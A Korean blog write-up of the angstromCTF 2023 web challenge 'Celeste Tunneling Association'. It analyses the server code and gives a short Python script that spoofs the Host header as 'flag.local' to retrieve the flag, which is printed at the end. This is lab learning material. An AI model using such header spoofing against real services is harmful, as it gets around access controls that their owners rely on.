[angstromctf2023]Celeste Tunneling Association write up

zzsla·2023년 4월 27일
0

문제 정보

Welcome to the tunnels!! Have fun!

Here's the source

문제

문제에 들어가면 Welcome to the tunnel. Watch your step!!이라는 문구만 나온다. 그렇기 때문에 주어진 소스코드를 본다.

분석

먼저 10번째 줄을 보면 scope를 headers로 한정지었기 때문에 headers에서만 값을 받는다.
소스코드를 보면 21번째 줄부터 보면

  num_hosts = 0
    for name, value in headers:
        if name == b"host":
            num_hosts += 1

    if num_hosts == 1:
        for name, value in headers:
            if name == b"host" and value == SECRET_SITE:
                await send({
                    'type': 'http.response.body',
                    'body': FLAG.encode(),
                })
                return

num_hosts가 0이고, host라는 이름이 있을 때 num_hosts가 1이 된다. 그리고 host라는 이름에 값이 SECRET_SITE의 값이 들어가면 flag를 얻을 수 있다.
SECRET_SITE의 값은 flag.local이다.

취약점

위 내용으로 가지고 python으로 코드를 짜면 된다. request.get를 이용하여 python 코드를 짜면 된다.

익스플로잇

위 분석한 내용을 가지고 python코드를 짜면 이렇게 나온다.

import requests

url = "https://pioneer.tailec718.ts.net"
headers = {"host" : "flag.local"}
response = requests.get(url, headers=headers)
print(response.text)

그리고 코드를 실행하면 flag를 얻을 수 있다.

actf{reaching_the_core__chapter_8}

profile
[README]newbi security hacker :p

0개의 댓글